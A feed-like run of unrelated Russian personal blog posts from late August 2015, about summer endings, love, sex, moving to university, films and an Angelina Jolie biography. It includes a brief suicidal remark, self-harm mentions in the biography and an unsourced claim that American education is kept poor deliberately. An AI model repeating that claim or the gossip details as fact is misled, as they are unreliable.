сегодня был последний день на самой отстойной работе, которую мне когда-либо приходилось выполнять. честное слово, лучше тихонько себе мыть пол в школе, чем присматривать за детьми в детской комнате местного тц, куда родители спихивают своего ребенка, чтобы сходить в кафешку или прошвырнуться по магазинам. конечно, есть вполне адекватные родители, которые приводят детей, чтобы те выплеснули энергию посредством катания с горки, лазания по лабиринту и все такое прочее. тем же, кто весь час следит за своим малышом и помогает ему ориентироваться в новом месте, низкий поклон лично от меня, потому что вас очень мало и вы - замечательные родители. особенно приятно, что большинство из этого малого количества - папы. мое сердце каждый раз наполнялось невероятным теплом, глядя на таких отцов.

хотя, вот ирония, как подумаю о возвращении в группу, так весь август и не кажется таким уж паршивым, каким он был, кроме, конечно, 28 числа, ради которого, как думаемся, все и переживалось.

у беды глаза зеленые

Не знаю, почему, но захотелось скинуть. Тут в глазах я счастлива. Я рада.

Одноклассница месяц назад родила. Знакомая, с которой я училась в худ. школе (она сейчас будет на 3 курсе, на год младше меня, по-моему), 2 месяца назад родила второго ребёнка, замужем. Ещё несколько дней назад поженилсь сокурсники (друг другу, на год старше меня) с моего факультета. Недавно узнала, что девочка, с которой мы когда-то учились на параллели, уехала в Питер и зебеременела.

А я…А что я? Иногда я думаю, что мне ничего не нужно, были бы фильмы, сериалы, еда. Надеюсь, что буду работать, а потом путешествовать, ребята, путешествовать! Путешествовать - это счастье. Счастье, в которое нужно вложиться. Путешествовать везде, сначала Россия, а потом и весь мир собрать по крупинке :)

1. "Все врут"

2. "Мой тебе совет – ничего не планируй. Достаточно плыть по течению и улыбаться"

Доброго времени суток…

1 пост за неделю…Ну, фактически, неделя еще не прошла (Юля настраивается на школьный лад), но все же, я дико извиняюсь за это.

Хорошие деньки были. Как раз такие, какими хочется видеть последние дни лета. Теплые, но не слишком, уютные, с компаниями. Вообще получилось, что август - лучший месяц лета, как то я больше поняла и приняла себя, познакомилась с новыми людьми, открыла новое. Я не скажу, что это лето было плохое, но оно и не было идеальным. Просто хорошим. Эт лист, не такое скучное как было раньше и сенкс гад. Сейчас все в открытую, Юля любит себя и любит других. Эх.

Сходила на ночевку к сестре, хорошо поболтали, но так же узнала, что наших знакомых побили. Эгейн. Хочется свалить с этого города ибо тут такой беспорядок и вообще не тот уровень общения. Не знаю, как там другие, но наш город меня уже порядком потрепал и достал. Сегодня сходила на маникюр, привести себя немножечко в форму перед школой((((((((((((((((

Из "фандомных" штучек: Юля читает и любит книги, Молодежка, я не скучала, как так получается, что я роде бы люблю этот сериал, но вроде бы и нет??, фильмы, я скучаааала, 8 МИЛЯ ИЛИ НАКОНЕЦ - ТО!!! Эминем♥♥

Прощай август, привет, такой плохой, сентябрь с:

Люблю вас, спасибо, что вы ещё все от меня не отписались♥

вспоминается диалог из "500 дней лета":

- С Саммер всё кончено!
- А что-то началось?
- Нет, но могло бы быть!

Ну да. Примерно так и у меня. Все воздушные замки рушатся. Чудес не бывает. Странно-ноюющее чувство сидит во мне. Не сказать, что моя симпатия безответна, так же как не сказать, что я отвергнута. Но вместе нам не быть. Я знаю кто был бы этой моей неудаче рад. Порадуйся, надеюсь у тебя всё в порядке.

Надо любить свое дело, вплотную им заниматься и меньше болтать. Придумал – сделал, не откладывая на потом. И не бояться – страх должен двигать нас не назад, а вперед. Главное, сделать шаг, а дальше разберемся.

https://debonton.ru/2014/08/4227-elena-krygina-girl-without-fear

Наконец, я пишу пост с ноута!

Все, завтра меня уже ждет отъезд: (как бы это печально не было сказано. Действительно переживаю за те вещи, что я перестану общаться с некоторыми очень дорогими мне людьми, хотя я их очень люблю!

Мыла полы, помогала готовить, собирала вещи, почти все собрала, осталась малость. Утром ранний подъем.. Зайчик и Регина с ведром :D

В Уфе уже ждут встречи со мной) А я хочу обратно в школууу, хоть и там никого не осталось почти.

Был один из самых лучших вечеров в моей жизни. Этот безумный адреналин, теплая спинка, я еду задом, на 2 секунды закрыла глаза от страха, стучали зубы, и колотило сердце, душа уходила в пятки. В ушах песня, в голове безумие. Безумный мальчишка!

По несчастью или к счастью,

Истина проста: Никогда не возвращайся

В прежние места. Даже если пепелище

Выглядит вполне, Не найти того, что ищем,

Ни тебе, ни мне.

2 года назад, одни неординарный человек, с которым случаем свела меня судьба, исповедовал свой взгляд на мир и положение вещей.

Основопологающим моментом, была гармония. Не в простом понимании, а в гораздо более глубоком, чем может показаться на первый взгляд. Прежде всего, это возможность и умение быть счастливым наедине с собой. Быть нескучным для самого себя, т.е. уметь проводить время так, что ты сам себе компаньон и сам себе стимул для развития. На тот момент мне казалось это каким-то бредом. Как можно быть одним и развиваться. Как же люди? Я же не могу без них.

Моим миром и моим стимулом, всегда были люди.

Я всецело отдавалась им. И считала, что это путь моей истинной сущности. Но за это полугодие, взгляды на миропонимание и мироощущение у меня совершенно перевернулись. Изменилось отношение к тем самым людям, ради которых я так билась. Произошла та самая переоценка, о которой мне говорили. Произошла мега координальная перестановка моей личности.

Или это всего лишь кризис 20-летия?

Но самок главное, я стала тем самым, центром саморазвития себя самой. Энергия не тратится попусту. Она направлена исключительно в обдуманеые русла. Я бы выразилась, правильные линии, акведуки.

Рядом, только те, кто близок среду и духу.

Никаких пустых и бессмысленных драм. Развитие есть, счастье есть.

И наконец я поняла, что моё время, это та самая осень. Этот самый переход, с последних дат августа. Этот холодный ночной воздух, эта свежесть, этот разум. Который год, мои верные выводы именно в это время.

Наконец, это моё время. Моё время счастья и равеодействия.

И снова, спустя долгое время, я благодарю Тебя, за то, что послал мне такой путь. Благодарю за то, что мне даровал.

Я бы хотела танцевать танго со своим мужчиной.

Мечта детства. Еще в те времена, когда я посмотрела фильм "Правдивая ложь", я поняла, что идеальный мужчина должен станцевать со мной под музыку из этого (и не только) фильма. Более страстной музыки и более чувственного танца просто нет, как мне кажется. Именно поэтому в кино всегда танцуют танго.

Дело осталось за малым: научиться самой и найти парня, наконец.

Наконец-то мы провели ночь вдвоем! О, эта долгожданная ночь. После ужина и душа он не заставил себя ждать и набросился на меня как лев на кусок мяса. Мои параметры позволяют вертеть мной как ему вздумается, поэтому он играл со мной как хотел, смотрел своими хитрыми глазами.

Яка ж ти всетаки брехлива сука з янгольськими очима, як добре, що я тримала тебе на відстані.Але пам'ятай все повертається!За всі роки ти так і не навчилась любити когось крім себе

31.08.2015 - 00:06 - 5 секунд ощущения что все как раньше. Но это были только 5 секунд.

Наверное, я чокнутая, но я бы хотела повторить свой первый раз. Сильнее, чем запомнилась эта ночь, мне не запомнилась ни одна другая. Она была самой прекрасной, самой приятной, несмотря на то, что было больно и тяжело. И дело не в том, что это был первый раз и первое ощущение. Просто некоторые парни созданы для того, чтобы заниматься любовью. И Ян - один из таких. Серьезно, ребята, я никогда его не любила, мы никогда не встречались, да и общаемся крайне редко. Но я всегда буду думать, что лучше него человека для первого раза найти просто невозможно. Наверное, каждый парень был бы рад узнать, что девушка о нем такого мнения. Но я не преувеличиваю. Даже жаль, что у нас друг к другу ничего нет. Думаю, мы бы полжизни провели в спальне.

ps: так что если вам ваши подруги наговорили кучу ужасов о первом разе - не принимайте слишком близко. все зависит только от вас двоих. и очень многое - от парня.

а я пообещала ждать и скучать. Пусть все выйдет как выйдет. Не хочу ничего загадывать.

Новые отношения, если они появятся в какой-то ближайший период времени, будут для меня крайне серьезными. Не хочу подпускать к себе всех. Не хочу ради "чтоб не скучно". Хочу раз и навсегда. Не хочу больше расставаний, слез и мучений. П.С. Когда буду перечитывать блог после очередной драмы наверняка посмеюсь, что была такой наивной.

Это будет еще одна замечательная осень.

Аж трясет всего. Пойду спать лучше

1. Никто не занят настолько, чтобы не отвечать вам

2. Каждый человек ставит свои собственные интересы превыше всех остальных

3. Вы никогда не сможете всем угодить

4. Мир абсолютно ничего вам не должен

5. Вы находите себе оправдания

6. Вас характеризуют действия, а не мысли

7. Никто не придет и не спасет вас от вашей собственной жизни

Сегодня в душе я поняла одну вещь про меня. Я это давно поняла, но только токда об этом задумалась. Я РАДУЮСЬ ПРОСТЫМ ВЕЩАМ… Каждый божый день я улыбаюсь от каждой мелочи что происходит в мою жизнь. РАДУЮСЬ от каждую улыбку и от каждого взгляда что он мне дарит, РАДУЮСЬ от присутствие моего кота в мою постель, РАДУЮСЬ от холодного душа утром, РАДУЮСЬ от горячего чая в час ночи, РАДУЮСЬ когда слышу его голос, РАДУЮСЬ от его прикосновением по моим ногам, рукам, РАДУЮСЬ каждый раз когда читаю ваши посты сдесь, РАДУЮСЬ от каждой светящей звездой на небе ночью…. РАДУЮСЬ что я есть, РАДУЮСЬ что он есть, ПЛАЧУ что ничего у нас нет…

Читаю старые записи. "Я точно поняла, что не люблю Даниила", "Я очень сильно его люблю", "Какой же он козёл".. Господи, просто поражаюсь тому, что некоторые читают вот это все на протяжении долгого времени, да, и не отписываются ведь! Реально, мой блог - записки какой-то сумасшедшей. Дайте мозгов:(

Я очень часто молчу, даже когда следовало бы высказаться. Держу злость в себе и постепенно нагреваюсь до точки кипения. В погребах моей души хранятся сотни бутылок ярости, отчаяния, страха, обид. Но вы никогда не догадаетесь об этом, глядя на меня.

Когда мы влюблены, мы принимаем человека таким, какой он есть, нам не нужно, чтобы он изменился и стал таким, каким мы хотим его видеть. Это значит, что когда я люблю, я понимаю и принимаю тебя всегда - и когда у тебя всё хорошо в жизни, и когда плохо. Это значит, что я люблю тебя и когда ты расстроенна, или когда ты настолько устала, что не можешь делать то, что нужно мне. Это значит, я люблю тебя и когда ты грустная, а не только весёлая. "Я тебя люблю" значит, что я знаю все твои самые сокровенные секреты, слабости, шрамы и то, что когда-то ранило тебя, и при этом я не буду судить тебя, а постараюсь избавить и вылечить тебя от этих "рубцов" спокойно и от всего сердца. Это также значит, что я забочусь о тебе, как только могу, я всегда буду стараться сделать так, чтобы тебе больше никогда не было больно, не пришлось страдать. Видеть тебя всегда счастливой, улыбающейся и сияющей…не только потому, что мне так хочется, а потому что ты действительно этого заслуживаешь. Это также значит, что я желаю тебя, хочу тебя, мечтаю о тебе, что мне нужен каждый твой поцелуй, каждое объятие и твой смех…каждый момент, час или день моей жизни на земле с тобой

Наверное, я себя веду как дурочка. Как идиотинка. Как глупый ребёнок. А я и ощущаю себя ребёнком. Чувствую себя лет на 14-15. Сверстники кажутся мне взрослыми и даже мудрыми. А я боюсь ответственности, не в состоянии ответить за свои поступки. Но это уже другая история. К чему это я…

Дело, мне кажется, не во внешности. Потому что сколько раз я уже видела девушек, самых обычных, с обычной внешностью и даже хуже, но у них есть отношения. Так что дело здесь в подаче себя. Вот я и думаю, что я себя не умею в обществе вести, раз я никого не привлекаю.

Или я настолько прекрасна, что моей красоты боятся мухаахахах

Американские коллеги объяснили мне, что "низкий уровень общей культуры и школьного образования в их стране — сознательное достижение ради экономических целей". Дело в том, что, начитавшись книг, образованный человек становится худшим покупателем: он меньше покупает и стиральных машин, и автомобилей, начинает предпочитать им Моцарта или Ван Гога, Шекспира или теоремы. От этого страдает экономика общества потребления и, прежде всего, доходы хозяев жизни — вот они и стремятся "не допустить культурности и образованности" (которые, вдобавок, мешают им манипулировать населением, как лишённым интеллекта стадом).

Вера в себя и в свою вторую половинку самое лучшее, что можно испытать

Проснулась я с хорошими мыслями о том, что сегодня ко мне приедут родители. И не без удивления обнаружила, что моя сожительница В. не заправила постель и оставила посуду немытой. Просто она казалась такой педантичной. Но я человек не гордый: убрала, ибо как-то неловко было бы встречать родителей. Затем позвонила мне К. и мы опять пошли гулять. Решили встретиться на вокзале, ибо и ей и мне туда легко добраться. Так вот, стою я такая на остановке, вся крутая, музыку слушаю, типо коренная жительница. Подъезжает автобус, я спокойно захожу и внезапно понимаю, что это не мой автобус! Ох, эта самоуверенность. Но ничего, кончилось все хорошо: я спросила остановку ближайшего метро и спокойно добралась до места назначения. Называется, узнаю город :) После того, как устали с К. гулять, решили приготовить на моей квартирке спагетти под соусом болоньезе. Получилось просто неимоверно вкусно.

Завтра меня ожидает собрание первокурсников, я ужасно волнуюсь. Так хочется спокойной и размеренной жизни. И еще меня весьма волнует расписание занятий. Я планировала уезжать на выходные домой, но если по субботам тоже будет учеба, то придется перенести мои поездки.

И вот вид из уже полюбившего балкона. Такое ощущение, что здесь вечно горят огни и бурлит жизнь. Вот бы еще оказаться в эпицентре этой самой жизни.

Иногда я думаю о том, что лучше с удовольствием забыла бы все. Даже хорошее. И не знала бы его вообще, и не помнила запах, и не помнила улыбки любимой своей, не помонила его. Может же что-то со мной случится, что я все забуду? Но это плохие мысли, нельзя так думать. Поэтому стараюсь прогонять. Но иногда все же они таятся, даже хуже что-то бывает… Хотя не стоит оно того, наверно.

я тут узнала, что сны о насекомых снятся одиноким людям. и что со мной не так?

Ровно день и начнется новая жизнь. Новые люди. Скорей бы уже, хоть и страшно конечно, но как говорят, что перемены в жизни к лучшему

Как же мне нравится, когда чувства мои крепнут с невероятной силой.
Это дает огромную надежду на светлое будущее

Самая большая ложь человека-заменить любимого на кого-то другого. Как донорский орган или запчасть в капоте своей машины. Но вся правда в том, что орган или запчасть могут подойти, а человек-нет. Это решение разрушает чужие жизни, возможно, много лет назад, когда мой папа пришел к моей маме с цветами и намерением забыть девушку, которая не дождалась его из армии, думал так же. "Я смогу забыть! Это просто, нужно переключиться!". И он переключился, но потом всё время возвращался к этой женщине, у которой была другая жизнь с другим мужчиной, а впоследствии и ребёнок. Это выглядело бы очень романтично, будь это история моих родителей, но это не так. Это история моего папы и чужой женщины. И знаете, когда мне говорят фразу: "Я её забуду, просто заменю другой девушкой", обиженный ребёнок внутри меня кричит от несправедливости. Знаю, что нет людей без прошлого, но я прошу вас, не ищите замены. Человек-это не орган и не деталь! Я очень боюсь стать чьим-то "донором"..!

кстати, кто-то снова решил устроить марафон диснеевских сериалов. хухуху. сегодня весь день смотрю любимейший сериал "Остин и Элли". как же я люблю его! и я поняла, что сильно соскучилась по Остину, Элли, Триш и Дэззу*__* я почти досмотрела все вышедшие переведенные серии, что печально. но у меня впереди еще больше половины 4го сезона, но, увы, последнего*__* вот так я и провожу последние летние деньки.ха

Хочу громкой музыки и любви

вчера решила пересмотреть любимые старые фильмы из '90 и '00. их у меня вообще-то много, но хочу поделиться некоторыми из них ;)

Это всё она ( She's All That)

Зак Сайлер — самый популярный из старшеклассников, предмет обожания учителей и воздыхания девчонок. Он староста класса, капитан футбольной команды и один из первых по успеваемости. Бесспорно, Зак станет королем выпускного бала, но… этого везунчика предательски подводит королева!

Зак и Тэйлор считались лучшей парой в школе, но Тэйлор, особа заносчивая и с огромным самомнением, бросает Зака за шесть недель до бала. Неудачи на любовном фронте могли сломить кого угодно, только не Зака Сайлера. Он берется «сделать» себе новую королеву! Зак заключает с друзьями пари, что за шесть недель превратит в писаную красавицу самую неприглядную девчонку в классе.

Выбор падает на Ленни, очкастую «ботаничку» с хорошей фигурой, спрятанной под мешковатой одеждой. Эта девушка — очень запущенный экземпляр! Пигмалион берется за работу и… конечно, влюбляется в свою Галатею.

хоть это и типичная американская романтическая комедия, я от нее без ума! а какие актеры: Фреди принц мл., Пол Уокер*__* много юмора, романтика, точно нужно ;)

…

Мальчик в девочке (It's a Boy Girl Thing)

Романтическая комедия, повествующая о двух соседях, девушке и парне, которые являются абсолютными противоположностями по жизни. Кроме того, они являются заклятыми врагами. Однако все меняется, когда однажды утром они обмениваются телами. Их реакция достаточно неожиданна, поначалу они пытаются нанести вред репутации своему новому образу, но наступает момент, когда заключив сделку между собой, они достигают небывалого успеха.

— ненавижу тебя!

-это потому что в тайне ты хочешь переспать со мной

еще одна романтическая комедия, с потрясающими актерами. серьезно, когда смотришь фильм, реально веришь, что они поменялись местами*__* и снова ненависть/любовь линия, которую я обожаю.хах

…

Спеши любить (A Walk to Remember)

Лэндон Картер — кумир своей школы: он независим, красив и жесток к изгоям. И конечно, он не замечает невзрачную Джэйми, думающую только об учебе. После очередной дурацкой выходки Картера заставляют заниматься с отстающими и играть в школьном спектакле.

Тут уж ему не обойтись без помощи скромной отличницы. Джэйми соглашается помочь Лэндону, но только если он пообещает, что не будет влюбляться в нее. Самонадеянный парень охотно дает клятву, но вскоре он убедится, что сдержать ее будет очень непросто…

-ты должен пообещать мне, что не влюбишься в меня

-о, это не будет проблемой

хотите порыдать? этот фильм, определенно, для вас. каждый раз не могу смотреть его без слез. и он действительно крутой. забавно, но в первый раз я начала смотреть этот фильм и выключила где-то на минуте 5…я не хотела смотреть старый фильм. не совершайте такую же ошибку! эта история стоит потраченного времени, определенно.

Мне категорически противопоказано ехать в то место. Роковое место для меня. В один год счастливое, в другой - пытка. Больше нельзя туда возвращаться.

так сложилось, что подряд читаю мысли людей, страдавших от сильной бессонницы многие годы, а я не могу даже вынести тех ночей, когда едва удается заснуть под пять (за последнее время таких было две), какое же мучение и ад так постоянно? с приближением сентября надвигающийся кризис становится все более ощутимым, настолько, что в какой-то момент пронеслась мысль спокойно и холодно сказать: 'если вы не перестанете на меня давить, я убью себя'

—Во всем виноваты твои китайцы
-Мам, это корейцы

Случается ли такое, что начинаешь потихоньку верить в судьбу и её издевки над собой. Один-два раза случайное совпадение, но постоянно?Думаете это судьба? Я уже свыклась с тем, что у меня никого нет и живу себе спокойно.. И тут вдруг как ведро холодной воды на голову приходит грусть и осознание своей никчемности. Пытаешься отвлечься, и каждый чертов раз тебе на глаза попадаются фотографии, мысли, стихи, фильмы про любовь.На работе, случайно так в руках оказывается книга “Как привлечь парня с помощью заговоров ” Нет, спасибо! Давайте вокруг меня ещё целующихся людей посадим, чтоб вообще отлично было.

Drew Van Acker

Артем Лоик – Завяжите мне глаза

не пойму одного: как по краю могла столько лет, столько зим, невеликий герой, целый и невредим. вместе сделали вдох - выдыхать одному, удивительно, что до сих пор я живу, удивительно как много крови во мне, никому не отдать, кровь моя не в цене. остается сцепить зубы и замолчать, ноги выбросить в бег

'я зароюсь песками по самое небо, мне не слышать все это, мне не слышать все это', 'равнодушие тем, кто плюет нам в сердца'

Мне страшно с Тобой встречаться.
Страшнее Тебя не встречать.

М.Цветаева

milkacatshg теперь следит за вами.

niser теперь следит за вами.

Цветаева: — Мужчина никогда не хочет первый. Если мужчина захотел, женщина уже хочет.
Антокольский: — А что же мы сделаем с трагической любовью? Когда женщина — действительно — не хочет?
Цветаева: — Значит, не она хотела, а какая-нибудь рядом. Ошибся дверью.

А вот и я.

Болею уже вторую неделю. Только выздоровела, умотала в другой город, выпила, повеселилась, попела песни из машины и заболела сильно-пресильно.

Сейчас в жизни стою перед перекрестком и не знаю что делать…

Как всегда много работы, много заморочек. Очень скучаю по маме, даже в детстве так по ней не скучала. Ехала в междугороднем автобусе, подумала о маме, о том как мне теперь постоянно плохо, а она так далеко, о том, что я не считала нужным о ней заботиться, с ней проводить время, раздражалась на нее… и заревела

меж тем я снова начинаю считать вражеские суда и чувствую себя окруженной

Он уж слишком занят мыслью о том, что не влюблен в нее, а потому не удивлюсь, если он кончит тем, что влюбится.

Джейн Остин "Эмма"

Уважаемый будущий муж, позволь тебе искренне посочувствовать; ведь ты еще не знаешь, что тебя ждет.

Я, возможно, не твоя первая любовь, первый поцелуй или первый взгляд, но я просто хочу быть твоим последним ВСЕМ.

#белларк 4ever

Приняла от chai-ptica. Передаю nancychipmunk, wearepeppermint, una-mattina, enka, greyoceans, destroya.

Правила: называем 3 слова (это может быть либо существительное, либо глагол), которые ассоциируются с этим летом и кратко обосновываем свой выбор. Постим под тэгом "3 summer things".

Здравствуй.
Люблю.
Спасибо.

Можно ли об этом кратко? Я чувствую это к родителям, сестре, своим старикам, лучшей подруге, танцорам, блоггерам, вам, поэтам, Богу, себе. Сложно избегать имён.
Я протягиваю руку вещам, которые меня пугают. "Страшно открыть дверь, всё остальное не страшно", помните? И люди… люди приходят на моё "Здравствуй".
Именно любовь двигала мной всё лето, и ей я обязана каждым своим шагом вперёд и вверх. Это не бездумно всеобъемлюще. У каждого есть лицо и имя. Некоторых я бы хотела однажды или ещё раз увидеть. Это глубоко, но… просто.
Спасибо за Бога в вас.
от Бога во мне

I can wait forever

Я люблю раннюю осень. В это время кажется: всё ещё будет хорошо.

Это мы с ним. Потому что он называет меня кисой, а я его котом, котярой точнее(на это есть свои вполне милые и чувственные причины). Мне с ним тепло, легко и просто. Он знаком с моей мамой. Она считает его милым. А для меня он настоящий, живой и честный. Он забирает мою боль, хотя боли уже нет, есть пустота и недоверие; я считала, что мне потребуется огромное количество времени, чтобы раны зарубцевались, чтобы успокоилось дыхание, чтобы дыра в груди заросла и перестала ныть и кровоточить; я считала, что мне нужно много времени, но с ним время улетучилось. Он исцеляет мою душу. Он не обещает, не делает больно, не оскорбляет, не ставит мое мнение под вопрос, он разговаривает со мной…Боже! Разговоры! Как я скучала по обычным человеческим разговорам, как мне не хватало рядом человека, который может болтать обо всем и ни о чем. Мне кажется я влюбилась в него именно тогда когда он непринужденно рассказывал про рыбалку, походы, свою маму и детство, его увлечения…

Мне очень страшно делать шаги - я просто морально этому сопротивляюсь. Он заставляет меня верить ему и в нас, и в чувства. И он называет меня кисой - это так греет. Обнимая меня, его сердце выбивает такой ритм, который я в жизни не слышала. Я не погружаюсь в Него с головой, не повышаю свою самооценку за счет Него, не проецирую свои чувства, я лишь стараюсь жить и быть счастливой, а Он этому бесцеремонно помогает.

возможно, у меня есть подписчики из Красноярска. возможно, кто-то из них хочет фотосет.
милости просим к Linknoob

Что может быть лучше? Радуйся жизни! Пока можешь…

Я любила его, по крайне мере думала что люблю, сейчас вспоминаю его..не знаю зачем, так тяжело..Он был всем для меня. А сейчас он изчес из моей жизни…будто его и не было.. Попытки найти другого..тонут..

Девочки, мне снова нужна ваша помощь. Кто из вас занимался в тренажерном зале? Я тут в профсоюз вступила, поэтому буду ходить бесплатно. Какие именно тренажеры там есть, я не знаю, но кардио есть точно. Мне нужно именно худеть (соответствующая диета будет). Но я буду жутко тормозить, что делать, сколько делать, когда делать. Так что мне нужен кто-то, кто подробно объяснит мне, что и как. Спасибо!

Писать сюда или оставьте в комментариях свою страничку.

Сижу в машине и не верится, что это всё. Конец лета, конец каждодневному провождению вместе, да конец всему, что связано с ним. Сижу и реву…

Иногда хочеться оглохнуть, и не слышать плохих слов от близких тебе людей…это так больно и обидно.

Тетя уехала в Киев, у нее там любовник, хочет всего добиться в жизни.. Походу с дядей будут разводиться.
Печаль.
Дядя у меня очень красивый и умный, и хороший, и добрый. Просто идеальныыйй: с

Что-то Ира меня не очень ждет = (
И она уже всех видела с 8-го этажа, значит меня уже будут рады не так видеть.

Ну их нафиг :D

Никто Линочку не любит, ну ничего.
Еще посмотрим, :D

Ну вот и все. На моем календаре уже 31. Сегодня мы уезжаем. И мне не грустно. Немного боязно, что вся моя недо-грусть еще вернется мне завтра в виде расстрепленных нервов при заселении в общагу, но… Будем надеяться.

Я ничего не прочитала за лето из списка. Недавно наткнулась на свой старый пост, писала, когда только приехала. О планах. Ха.

Виделись с Ирой.

Пожрали :)

Потом сидели долго на качели, болтали. Иногда боюсь, что я дорожу ей больше… Она такая пофигистичная в последнее время. Я сказала ей: "До июля". Она была довольно спокойной, сказала, мол, может пересечемся еще в Астане. Когда она визу будет забирать. Может нет. Вполне в ее стиле :)

Но меня это уже не умиляет. Драмы хочу.

Купили огромный чемодан. Я в него помещаюсь. Завтра будем только с чемоданом и маленькой сумкой. Алиллуйя!

Много денег было потрачено за эти дни, кстати. Спасибо Боже, что они были.

Меня волнует только то, что я не знаю, кто будет моей соседкой. И в какое время я заселюсь, сколько вообще это займет, какая очередь?.. А как спускать чемодан??.

Ладно. Не будем открывать эту дверь.

Удачи, вьюверы, скоро увидимся.

Мысль, которая сидит в подкорке мозга с самой свадьбы: я не дам себя снова затянуть в это болото! Не хочу возвращаться к той колючке, коротой я была эту зиму и весну! Причем сейчас я даже готова послать всех этих людей в жопу, лишь бы снова не привязаться к этму "творческому" кружку с вечно сопровождающими его пьянками, внутренними конфликтами, грубыми попытками спрятать свои комплексы за унижением других или, у некоторых наоборот, продемонстрировать свое огромное эго. Хватит! Не могу больше!

зачем мне нормальные парни, дайте того, который с неврозом.

3 слова этого лета

Собственно мне на ask.fm пришел вопрос "назови 3 вещи уходящего лета!". И я задумалась, какие такие 3 вещи будут ассоциироваться у меня именно с этим летом 2015года. Я никогда раньше не делала никаких флешмобов прощания с летней порой, но в этот раз у меня такое ощущение, что это лето было особенное в моей жизни.

Сейчас прошел флешмоб 2х книг, так пусть следующая цифра будет 3!
Будет очень интересно почитать о вашем лете!

Правила: называем 3 слова (это может быть либо существительное, либо глагол), которые ассоциируются с этим летом и кратко обосновываем свой выбор. Постим под тэгом "3 summer things"

Передаю: lifesketches, tururuuuu, seviyorum, jez-ast, literatorvi,
-ptitsa-, tipyla и daria-snow и всем желающим :)

3 слова моего лета
Секс; Бизнес; Улица Малая Грузинская;

Секс: этим летом я научилась заниматься любовью так, что это уже не процесс совокупления, я научилась заниматься любовью так, что это превратилось в медитацию. Освобождая голову от мыслей, я освободила свое тело.

Бизнес: начиная с июня судьба сводит меня с людьми, которые открывают свое дело, уже открыли или думают открыть. 3 месяца я варилась и кашеварилась в разного рода деятельности. В последний месяц этой кухни я поняла, что именно я хочу делать, и главное, я поняла, как это делать.

Улица Малая Грузинская: в москве есть такая улица, она находится между станциями метро Краснопресненская и Улица 1905-го года. На этой улице есть дом, в котором живет Кошка и девочка. Я была там недолго, я была там не так часто. Там что-то началось и пока еще не закончилось. Каким-то шестым чувством я ощущаю тягу к этому дому. Что-то родное, что именно я пока еще не поняла.

Доброго времени суток дорогие Блоггеры, если тут ещё кто-то есть. Не знаю, что тут написать если честно мыслей куча, а вот изложить их правильно я не могу. Он скоро вернётся. Сегодня освободилась пораньше с работы, прошлась немного пешком, знаешь в нашем городе повеяло осенью… Я реально почувствовала эту атмосферу этот запах осени. У осени есть свой особенный запах, господа.. Это ввело меня чуть ли не ступор я проделала дорогу от Ауры до своего Универа, потом села в автобус доехала до Гагаринской и пошла в Трэвелс. И что-то невероятное происходило в моей голове в промежутке от Ауры до остановки, пройдясь по всем этим знакомым местам перед глазами всплывали картинки минувших лет, я помню очень многое как оказалось, эти три года не забыть, в них было столько боли и столько обид, предательства, разочарования, моей любви к нему, все эти нереальные эмоции, но не думай было не только плохое, много хорошего происходило, и вот в один момент из глаз брызнули предательские слёзы. Я могла бы могла сослаться на осенню депрессию, но с годами понимаю, что это отговорка, жалкая попытка оправдать лень и жалость к себе. кАк только я перестаю себя жалеть и начинаю пахать как лошадь всё мнгновенно налаживается мне становится просто некогда думать о всякой фигне. А ещё вот только что попалась цитать вконтакте на глаза "в городе чувствуется запах осени и сезонных расстройств психики".

Пожалуй оставлю здесь небольшую напоминалку о следущем посте "Люди которые тянут за собой или как мы становимся такими же с кем мы живём" А то явно забуду потом.

Это настолько божественно, что не передать словами. Ты едешь по мосту в темной, заполненной людьми маршрутке, кто то спит, кто то слушает музыку, кто то наслаждается тишиной. Справа от тебя огромная и яркая луна с маленькими облачками вокруг, как в фильмах про вампиров. Загадочная луна. Слева рдеет уходящий закат. Восхитительно. Минут пять и вот луна уже впереди, ведет тебя, указывает дорогу. Еще мгновение и на небе уже начали появляться звезды. Кругом уходящие в даль огни любимого города. И ты вдруг понимаешь что счастлива. Да, жизнь не идеальна, но разве может быть иначе? У тебя есть семья, которая лить и принимает тебя такой, какая ты есть. Пусть ваши отношения не свежкоткатанный асфальт, но иначе было бы не интересно. Друзья. Они просто есть. Ты просто их любишь, скучаешь по ним, радуешься встрече. Момент принятия себя той, что есть. Доброй, скромной, иногда слишком молчаливой, иногда слишком шумной, рассеяной, сочувствующей, гиперчувствительной, одновременно такой простой и такой сложной, неуверенной, жирненькой, иногда глупой.. бесконечность Катюш, противоречащих друг другу. Но я это я, другой нет. А будет ли, только мне решать.

https://ask.fm/Su_AltezaReal

Если вам что-то не нравится (что я пишу; мои мысли; и тому подобное), просьба отписаться. Я никого из вас тут не держу ;)

1

Angelina Jolie

Люди говорят, что ты идешь по неправильному пути, когда это просто твой путь.

Биография: Анджелина Джоли Войт родилась в Лос-Анджелесе 4 июня 1975 года. Отец — актер Джон Войт, мать — молодая, никому не известная актриса французского происхождения Марчелин Бертран. Отец Анджелины Джоли часто изменял ее матери. Поэтому ее родители разошлись через год после ее рождения. Однако развод был оформлен официально только в 1978 году. Марчелин Бертран увезла Анджелину и ее брата Джеймса Хейвена в Нью-Йорк. Она отказалась от мечты стать великой актрисой и занялась воспитанием детей. В шесть лет Джоли уже снялась в фильме своего отца «В поисках выхода». В съемках приняла участие вся семья: и отец Джон Войт, и мать Марчелин Бертран.

—Ни о чем не жалею. Я несовершенна, и если все узнают о моих ошибках — это даже хорошо.

Сложное детство: В детстве Анджелина отличалась эксцентричным характером, в девять лет она решила открыть свое похоронное бюро. В школе она посещала психотерапевта. Учителя же считали ее социопатом. В 11 лет она вернулась в дом своего отца в Голливуде. Там она отучилась в киношколе Ли Страсберга и высшей школе Беверли-Хиллз. В 14 лет Анджелина Джоли начала работать моделью в американских городах, а также в Англии. В это же время она приняла участие в съемках нескольких музыкальных клипов. В 1989 году у нее появился первый молодой человек, который прожил с ней два года в доме отца девушки. Причиной размолвки стало ее увлечение ножами — ее тело было усеяно множеством шрамов. В 16 лет она попала в больницу, перерезав себе сонную артерию. В эти годы Анджелина Джоли знакомится со многими известными наркотиками и ведет свободный образ жизни. В ее постели бывают как мужчины, так и женщины. В этом же возрасте у нее появилась неприязнь к отцу, которая долгие годы не мешала им общаться.

